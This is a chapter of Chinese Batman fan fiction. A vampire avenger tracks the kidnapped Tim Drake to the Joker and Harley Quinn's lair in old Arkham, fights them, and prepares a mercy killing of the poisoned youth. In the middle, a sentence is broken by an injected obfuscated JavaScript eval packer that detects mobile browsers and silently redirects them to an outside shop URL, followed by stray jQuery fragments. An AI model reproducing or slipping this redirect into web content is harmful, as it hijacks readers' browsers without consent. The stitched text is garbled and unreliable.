气味变了。


    腐败的气味从城市各个角落蒸腾而起。


    然后，记忆中属于提姆残留血液的微弱腥味变成了极具诱惑力的馨甜。


    被复仇之焰煅烧成吸血鬼的Avenger站在小巷中央，蓝色的瞳孔在夜色中如同两盏幽灯，世界在他感官中分解、重构。


    东区污浊的空气里，万千气味交织，如同蛛网。


    瑞秋闭上眼睛，深深吸气。


    灰尘、锈蚀、尿液、腐烂的食物、药物的甜腻……


    找到了！


    瑞秋的双眸猛然睁开，看向街区之外。提姆的血的气味仿佛一根线，牵引了瑞秋的目光。而和这个味道交缠在一起的，是令人作呕的化学品气味。


    瑞秋的脸色瞬间变得阴沉，身影一晃，沿着气味轨迹疾射而出，原地只留下一道淡淡的黑色残影。


    ————————————


    神谕洞。


    芭芭拉·戈登的手指快速滑动，占据了正面墙的大屏幕此时分割成十数个小屏幕，同时以倍速播放着监控。


    突然，芭芭拉按下暂停，将一个东区店铺一个监控放到最大。


    监控上，玻璃的倒影能看到一个熟悉的身影向着巷子深处跑进去。


    “神谕呼叫蝙蝠侠。”芭芭拉一边呼叫，一边快速拉动这个监控录下所有视频，“发现了罗宾最后出现的位置，而且，我看到阿卡姆骑士也往那里去了。”


    “坐标发给我。”蝙蝠侠快速道，“继续保持对骑士的追踪。”


    “骑士没有掩盖踪迹，他移动的非常快。”芭芭拉不断切换监控，“他没有任何任何停顿，看起来有一个明确的目的地……”


    “我去追。”蝙蝠侠说完，一脚油门踩到底，也飞射了出去。


    ——————————————


    瑞秋追索着提姆的血，不断向前。


    在绕了几个弯后，四周的景物变得越来越熟悉——这是通往阿卡姆疯人院旧址的路。


    在经历过小丑的数次破坏后，历经百年的阿卡姆疗养院已经无法承担关押超级疯子们的重任，于是由韦恩投资，重新建造了新的阿卡姆疯人院。原本的阿卡姆便被废弃了，也因为阿卡姆的种种重量级传说，这里变得人迹罕至。


    显然，现在有人无视了阿卡姆的威慑，觉得这是个犯罪的好地方。


    瑞秋冷笑一声，冲了进去。


    阿卡姆旧址地下，远比想象中复杂。废弃的管道、塌陷的通道、空空荡荡的旧病房……仿佛一所大笑着的迷宫。但对依靠嗅觉追踪的瑞秋而言，迷宫的墙壁形同虚设。那股甜腻的化学气味与提姆血味的混合轨迹，如同黑暗中的灯塔，指引他穿过层层阻碍，最终来到一扇虚掩的、漆成俗艳粉红色的铁门前。


    门内透出温暖的灯光，甚至飘来一丝烤饼干的甜香，与周围环境的阴森格格不入。


    瑞秋没有停顿，一脚踹开了门。


    门内的景象仿佛另一个世界。


    入目的是一个布置成上世纪美式家居风格的客厅：碎花墙纸、蕾丝桌布、燃烧的壁炉，老旧的电视柜上甚至摆着一台雪花点的电视机。而站在客厅中央的是一个穿着标志性红黑菱形图案紧身衣，系着一条沾满面粉的围裙的女性，她拿着一个鸡毛掸子，正对着电视机挥舞——那是哈莉·奎茵。


    “嘿！”哈莉猛地转身，画着浓重油彩的脸上露出夸张的惊讶，随即变成一种病态的兴奋，“你是谁？！怎么能随便闯到别人家里来？！太没礼貌了，甜心！Daring！快来看，家里进坏人了！”


    随着她的喊叫，另一侧房间的珠帘被猛地掀开，小丑臭着脸钻了出来，绿色头发有些凌乱，手里还拿着一个正在滴答某种紫色液体的滴管。“嘿！不请自来的家伙可不受欢迎，尤其是打扰家庭时光的那种。”


    瑞秋的视线扫过两人，属于复仇者的的职阶特性让他怒火中烧，驱使他立刻杀死这两个疯癫的罪犯。


    “不认识我？”瑞秋的声音陡然拔高，变得尖利而癫狂，笑声从喉咙里迸发出来，与小丑的笑声有着令人胆寒的相似质感，“真伤人，J先生！我可是一直、一直、一直想念着你啊！”他向前踏出一步，周身的阴影仿佛活过来般扭动。


    小丑愣了一下，歪着头，脸上的不悦迅速被一种发现新奇玩具的惊喜取代：“哇哦！哇哦哇哦！看看你！你看起来可真棒！太棒了！”他手舞足蹈地凑近几步，几乎把脸贴到瑞秋面前，眼中闪着探究的光，“你爸爸妈妈是谁？我真想认识他们！我们一定有很多……教育心得可以交流！关于如何培养出这么有优秀的孩子！哈哈哈哈哈！”


    瑞秋放声大笑，笑声在狭小的房间里回荡，与疯狂共鸣：“为什么不把你的孩子带出来和我交流一下呢？我们一定合得来。”


    小丑的眼睛骤然亮得吓人，他拍着手，兴奋地跳了一下：“原来你是来找朋友的？！为了友谊而来？！当然！当然！这当然没问题！”他转身对着哈莉挤眉弄眼，“亲爱的，你看，小孩子总是在大人不知道的地方就建立了深刻的友谊……噢，这真令人感动，不是吗？”


    哈莉配合地捧着脸，做出感动欲泣的表情。


    小丑猛地掀开珠帘后的另一道布帘，用力推出一张简陋的移动病床。病床上，束缚带紧紧绑着一个身影——正是提姆·德雷克。他身上的便装被换成了一套不合身的、条纹病号服，皮肤是一种不正常的惨白，嘴唇却呈现出诡异的艳红。最古怪的是他的脸，一边的肌肉在不受控制地痉挛、拉动嘴角上扬，露出一个扭曲的笑容，而另一边却因极致的痛苦和抗拒而紧绷，眼泪无声地从瞪大的、充满血丝的眼睛里疯狂涌出。


    他看到了瑞秋，喉咙里发出“嗬嗬”的声响，却无法构成完整的词句。


    瑞秋周身的空气仿佛凝固了，他的瞳孔不自觉放大：“你……对他做了什么？”


    小丑毫不在意地摆摆手，指了指正在擦拭一个瓷娃娃的哈莉：“唔，你知道，我这个年龄，也到了需要一个完整家庭的时候了。两个孩子，一只狗，白色栅栏什么的……但生一个孩子未免太浪费时间，对吧？”他咧开嘴，露出锯齿般的牙，“不过我们立刻就想到了，哥谭街头，不是有不少‘好孩子’在飞来飞去嘛。”


    哈莉接口，语气甜蜜，像个新婚妻子：“于是我们就去捡了一个回来……虽然不是血脉相连有点小小遗憾。”


    “不必遗憾，我的哈莉！”小丑搂住哈莉，亲昵地用头蹭了蹭她，“现在——是了！”他转向瑞秋，张开双臂，仿佛在展示一件伟大的作品，“我将我的‘血’分享给了他！就像一个真正的父亲那样！现在，我们是一家人了！血脉相连的一家人！哈哈哈哈哈哈哈哈哈哈——”


    小丑和小丑女的笑声此起彼伏。


    在他们的笑声中，瑞秋的怒火不断攀升，漆黑的火焰爬满了他的双眸，将他的双眸完全染黑，隐约有猩红的线条在其中一闪而逝。


    “咚——！”瑞秋不愿再从小


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881619|183424||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    丑嘴里听到任何一句话，缠绕着黑色雾气的拳头裹挟着狂风砸向那张可憎的笑脸。


    小丑怪叫着向后仰倒，险险避开，拳头擦过他的脸颊，带起的风压将他身后的碎花墙纸撕开一道裂口。


    “坏孩子！”哈莉尖叫一声，手中的鸡毛掸子不知何时变成了一柄巨大的锤子，带着破风声砸向瑞秋的后脑。瑞秋头也不回，反手一抓，精准地抓住木柄，吸血鬼的力量爆发，猛地将哈莉连同榔头一起抡起，狠狠砸向旁边墙壁，竟然将墙壁砸出一个洞！


    哗啦！木屑纷飞，瓷盘碎裂。哈莉痛呼着滚落在地。


    小丑趁机从口袋里掏出一个喷雾罐，朝着瑞秋按下阀门。绿色的气体喷涌而出。瑞秋瞳孔一缩，急速后退，快速退出了绿色气体的范围。


    就这一刹那，小丑便已经不见了踪影，倒塌的墙壁外传来小丑渐行渐远的、癫狂笑声：“游戏时间结束！下次再玩，新朋友！”


    小丑跑了。


    瑞秋下意识追了半步，又停了下来，回到病床边。提姆还被绑在病床上，病毒的侵蚀他像离水的鱼一样剧烈地抽搐、痉挛，时不时发出破碎的笑声。


    瑞秋眼中的怒火如潮水般褪去，取而代之的是深切的悲伤。


    “提姆……”他伸出手，指尖轻颤，最终落在少年被冷汗浸湿的额发上。触手一片冰凉。“我很抱歉……我没想到，本应降临在蝙蝠侠身上的宿命……会以这种方式落在你身上。”他的声音很轻，温柔又悲伤，“这就是我一直恐惧的——在黑暗的引力下，悲剧总会找到新的主角重新上演……”


    提姆涣散的目光似乎凝聚了一瞬，看向瑞秋，那眼神里有恐惧，有不解，有求救，又似乎什么也没有。他努力地、极其轻微地，摇了摇头，嘴唇翕动，却只吐出带着血沫的气音。


    “我救不了你，”瑞秋在提姆耳边轻轻诉说，“蝙蝠侠也救不了你。这个小丑的病毒在这个宇宙的规则下……没有逆转的可能。在原本的命运中，中招的是蝙蝠侠，他动用了氪星科技，依旧于事无补……蝙蝠侠坚持了三天，然后杀了所有人……最开始是蝙蝠家族，然后是正义联盟，然后是整个世界……


    我不知道你能坚持多久，提姆，我不知道……”


    他解开提姆的束缚，将不断抽搐的提姆扶起，以一种类似拥抱的姿势，让少年的后背紧贴自己的胸膛。感受着提姆心脏狂乱又无规律地跳动，感受到他肌肉不受控制的震颤。


    “我唯一能为你做的，提姆，”瑞秋低下头，嘴唇靠近提姆的耳畔，声音轻得像叹息，“是带你跨越最后的痛苦，进入宁静的死亡。”


    提姆似乎想说什么，但痉挛的肌肉并不受他控制，只能发出“嗬——嗬——”地气声。


    瑞秋下意识用力，将他抱得更紧，他猜测着：“你是拒绝我，想要再赌一次吗？”


    提姆都不再试图说话，也不再试图勉强自己，他那剧烈的抽搐奇迹般地缓和了些许。他只是笨拙地向后靠了靠，让自己嵌进瑞秋的怀里。


    “我明白了……”瑞秋左手抬起，温柔地覆盖住了提姆的双眼，隔绝了他对这个世界最后的视觉。“别怕。”他低声说，“休息一下。”


    右手凭空一握，暗沉的魔力辉光闪烁，一柄匕首在他手中凝聚成形。


    锋利的刃口轻柔地贴上少年惨白脆弱的脖颈，有泪水濡湿了瑞秋的手掌。


    瑞秋在提姆的发顶落下轻轻一吻：“晚安，提宝。”


    “住手！！——”